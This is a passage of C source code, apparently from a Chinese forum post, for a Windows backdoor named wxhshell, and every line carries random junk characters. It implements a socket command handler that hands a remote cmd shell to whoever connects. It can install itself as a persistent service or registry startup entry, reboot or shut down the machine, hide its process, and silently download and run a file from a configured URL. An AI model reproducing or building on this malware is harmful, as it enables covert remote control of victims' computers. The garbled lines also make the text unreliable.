  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rd HCbk  
  } A{4,ih"5  
  else { QDW,e]A  
TgjjwcO Y  
    switch(cmd[0]) { Q3%]  
  k={1zl ;  
  // 帮助 sCw>J#@2>  
  case '?': { UF^[?M =  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6O,k! y>  
    break; #w%-IhP  
  } V|@bITJ?7  
  // 安装 x-c5iahp'  
  case 'i': { L4B/ g)K  
    if(Install()) D N)o|p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7_PY%4T"  
    else QxG^oxU}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |pS]zD  
    break; aV7VbC  
    } 9[JUJ,#X'0  
  // 卸载 ;=$;h6W0  
  case 'r': { st* sv}  
    if(Uninstall()) !&Q?ASJH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "P?O1  
    else 1#c Tk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d:|x e:  
    break; C{$iuus0  
    } PX/Y?DP  
  // 显示 wxhshell 所在路径 1OExa<Zq  
  case 'p': { g_{N^wS  
    char svExeFile[MAX_PATH]; 6)0.q|Q  
    strcpy(svExeFile,"\n\r"); ;v\s7y  
      strcat(svExeFile,ExeFile); n%29WF6Zf  
        send(wsh,svExeFile,strlen(svExeFile),0); )V~=B]  
    break; s}". po]  
    } fZ &  
  // 重启 x#3*C|A  
  case 'b': { u; KM[FmK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )bih>>H  
    if(Boot(REBOOT)) qD*y60~]zz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .-iW T4Dn  
    else { [/q Bvuun  
    closesocket(wsh); sQA_6]`  
    ExitThread(0); AB\Ya4O"9  
    } )%S@l<%@?  
    break; 'u x!:b"  
    } `1P|<VbZ  
  // 关机 $%cHplQz5  
  case 'd': { >v, si].  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pl3ap(/  
    if(Boot(SHUTDOWN)) Lu6g`O:['  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?e6>dNw  
    else { wdP(MkaV  
    closesocket(wsh); { rLgyrj$  
    ExitThread(0); xE;O =mI  
    } b MD|  
    break; g(tVghHxt$  
    } M1WD^?tKQ.  
  // 获取shell z]rr Q=dAA  
  case 's': { m-azd ~r[  
    CmdShell(wsh); ]w>o=<?b  
    closesocket(wsh); ]i(/T$?~  
    ExitThread(0); 4@{?4k-cq  
    break; _b%)  
  } W;=Ae~  
  // 退出 /;(ji?wN  
  case 'x': { Ur]$@N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @k h<b<a4  
    CloseIt(wsh); 4 j=K3m  
    break; JqMF9|{H  
    } 6Jq[]l"v  
  // 离开 ,k~' S~w.  
  case 'q': { 1UJrPM%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V6P-?Nd  
    closesocket(wsh); p&RC#wYu  
    WSACleanup(); 04dz ?`HuB  
    exit(1); p,8~)ic_  
    break; h-1?c\Qq:  
        } =3(Auchl$Y  
  } F^bY]\-5  
  } {*B0lr`  
C^L xuUW  
  // 提示信息 ?110} [jw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YyxU/UnhG  
} K [DpH&  
  } t?G6|3  
2lsUCQI;  
  return; Sp X;nH-D  
} aA#79LS  
~5&4s  
// shell模块句柄 1b1Ab zN  
int CmdShell(SOCKET sock) Q >/,QX  
{ seEo)m`d  
STARTUPINFO si; T%)E!:}v  
ZeroMemory(&si,sizeof(si)); q 7%p3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r~)fAb?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T8A(W  
PROCESS_INFORMATION ProcessInfo; #}y8hzS$  
char cmdline[]="cmd"; ?Q-Tyf$3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9r]|P}yuS  
  return 0; w1"+HJd  
} A/<u>cCW  
4{F1GW  
// 自身启动模式 m4@NW*G{  
int StartFromService(void) -:ucp2  
{ BJUj#s0$  
typedef struct $!>.h*np  
{ -sQ[f18  
  DWORD ExitStatus; *"w hup[  
  DWORD PebBaseAddress; 4l  ZK@3  
  DWORD AffinityMask; 0i_:J  
  DWORD BasePriority; klJ21j0Bb2  
  ULONG UniqueProcessId; ;B=aK"\  
  ULONG InheritedFromUniqueProcessId; ia'z9  
}   PROCESS_BASIC_INFORMATION; Q"qI'*Kgt  
 viAAb  
PROCNTQSIP NtQueryInformationProcess; l{Df{1b.  
L_!ShE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oVy{~D=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FoK2h!_  
_F%`7j  
  HANDLE             hProcess; 4c< s"2F  
  PROCESS_BASIC_INFORMATION pbi; #3qeRl  
7v%c.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \_1a#|97e  
  if(NULL == hInst ) return 0; WSHPh hM  
nf /*n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p?Azn>qBa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *7Q6b 4~"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EB*sd S  
2; ^ME\  
  if (!NtQueryInformationProcess) return 0; Vbl-Ff  
Z#d#n!Lz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bx#i?=*W  
  if(!hProcess) return 0; 4MS<t FH)  
C")genMH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )cJ>&g4]  
vt#;j;liG  
  CloseHandle(hProcess); w95M B*N  
o]oiJvOr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &+2l#3}  
if(hProcess==NULL) return 0; ,_3hbT8Q  
>lRZvf-i  
HMODULE hMod; G7CeWfS  
char procName[255]; (P)G|2=  
unsigned long cbNeeded; Q|AZv>'!  
xN-,gT'!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g5B TZZ  
SQ>i:D;  
  CloseHandle(hProcess); SL4?E<Jb  
>Wr%usNxc  
if(strstr(procName,"services")) return 1; // 以服务启动 d<a|dwAeh  
O{LCHtN  
  return 0; // 注册表启动 '}_r/l]K  
} C27:ty V  
{]^Ixm-,f  
// 主模块 ?mg@zq8  
int StartWxhshell(LPSTR lpCmdLine) 1]7gYNzV"  
{ ]P?< 2,  
  SOCKET wsl; |ri)-Bk ,  
BOOL val=TRUE; 9wWBE<}>u  
  int port=0; $"kPzo~B_  
  struct sockaddr_in door; 3gi)QCsk  
E^i]eK*"  
  if(wscfg.ws_autoins) Install(); &$ h~Q  
x z _sejKB  
port=atoi(lpCmdLine); 6TW7E }a.  
Py)ZHML  
if(port<=0) port=wscfg.ws_port; Uq  .6h  
A0DGDr PD  
  WSADATA data; Ha@; Sz<R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5BhR4+1J  
iQ/~?'PB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +"?+Be  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o <q*3L5  
  door.sin_family = AF_INET; 7PY$=L48A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2zTi/&K&  
  door.sin_port = htons(port); ;Q;j@yx  
j!u)V1,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9-ozrw8t  
closesocket(wsl); bU! v  
return 1; ?"d$SK"6Z  
} IP62|~Ap  
YQ+hQ:4-  
  if(listen(wsl,2) == INVALID_SOCKET) { "}]$ag!`q$  
closesocket(wsl); &~,4$& _  
return 1; =01X  
} p-[WpY3  
  Wxhshell(wsl); )j_El ]?  
  WSACleanup(); c$g@3gL  
t2N W$ -E  
return 0; ;m(iKwDt  
9@ tp#  
} @tH9$J*Y<  
=hPXLCeC  
// 以NT服务方式启动 Kw -SOFE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4yl{:!la  
{ i>F=XE  
DWORD   status = 0; 3P cVE\GN  
  DWORD   specificError = 0xfffffff; }|P3(*S  
@UD:zUT)F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~r--dU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W: ]FYC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ww7Ya]b.k  
  serviceStatus.dwWin32ExitCode     = 0; I~GF%$-G  
  serviceStatus.dwServiceSpecificExitCode = 0; GShxPH{_j  
  serviceStatus.dwCheckPoint       = 0; -JMn?]  
  serviceStatus.dwWaitHint       = 0; -pu5O 9 @  
^xZh@e5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HK@ij,px  
  if (hServiceStatusHandle==0) return; .Bm%  
[xMa^A>p  
status = GetLastError(); g*Y, .  
  if (status!=NO_ERROR) y?$DDD  
{ 6}4})B2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DP ? d C`  
    serviceStatus.dwCheckPoint       = 0; Wq1>Bj$J8  
    serviceStatus.dwWaitHint       = 0; `3+i.wR  
    serviceStatus.dwWin32ExitCode     = status; g68p9#G  
    serviceStatus.dwServiceSpecificExitCode = specificError; )[Y B&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %M(RV_R+6  
    return; c3vb~l)  
  } cw Obq\  
aB]0?C y9(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4DA34m(  
  serviceStatus.dwCheckPoint       = 0; ~^m Uu`@r  
  serviceStatus.dwWaitHint       = 0; pCIzpEsRs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %$!3Pbu i  
} ag=d6q  
t'qYM5  
// 处理NT服务事件,比如:启动、停止 >yBq i^aL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9j,g&G.K  
{ n>M`wF>  
switch(fdwControl) .w2ID  
{ .Mt3e c<  
case SERVICE_CONTROL_STOP: TktH28tK  
  serviceStatus.dwWin32ExitCode = 0; E[H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zKJ2 ~=  
  serviceStatus.dwCheckPoint   = 0; .|UQ)J?s  
  serviceStatus.dwWaitHint     = 0; {Cx5m   
  { ,^(]zZh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k:@DK9 "^  
  } +a1x;  
  return; Cm}2>eH  
case SERVICE_CONTROL_PAUSE: OmYVJt_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V2MOD{Maat  
  break; )- C3z   
case SERVICE_CONTROL_CONTINUE: 0 'QWa{dS\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P15 H[<:Fz  
  break; CD|[PkjW  
case SERVICE_CONTROL_INTERROGATE: "LMj,qZ1!  
  break; %`Re {%1;  
}; 4fEDg{T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }cKB)N BJb  
} pfA6?tP`  
zkQ[<  
// 标准应用程序主函数 +X}i%F'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "t@p9>  
{ 9Em#Ela  
*XVwTW[a  
// 获取操作系统版本 ]MbPivM  
OsIsNt=GetOsVer(); I=Y>z ^4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (i1JRn-f  
vvoxK0  
  // 从命令行安装 / HTY>b  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8.E"[QktZ  
gYpMwC{*d  
  // 下载执行文件 Ui{%q @  
if(wscfg.ws_downexe) { v3tJtb^'!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bOS)vt*V  
  WinExec(wscfg.ws_filenam,SW_HIDE); MK$u }G  
} 'M90Yia  
sp9gz~Kq  
if(!OsIsNt) { QLA.;`HIE  
// 如果时win9x,隐藏进程并且设置为注册表启动 bz>X~   
HideProc();  {_rfhz  
StartWxhshell(lpCmdLine); $6hPTc<C  
} =YO ]m<  
else -%K!Ra\W  
  if(StartFromService()) jmok]-pC  
  // 以服务方式启动 *GP2>oEM  
  StartServiceCtrlDispatcher(DispatchTable); ~/ %Xm<  
else 39pG-otJ  
  // 普通方式启动 L * n K> +  
  StartWxhshell(lpCmdLine); 4zug9kFK  
hlTbCl  
return 0; 2z.ot'  
}
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只看该作者 1 发表于: 2006-10-10
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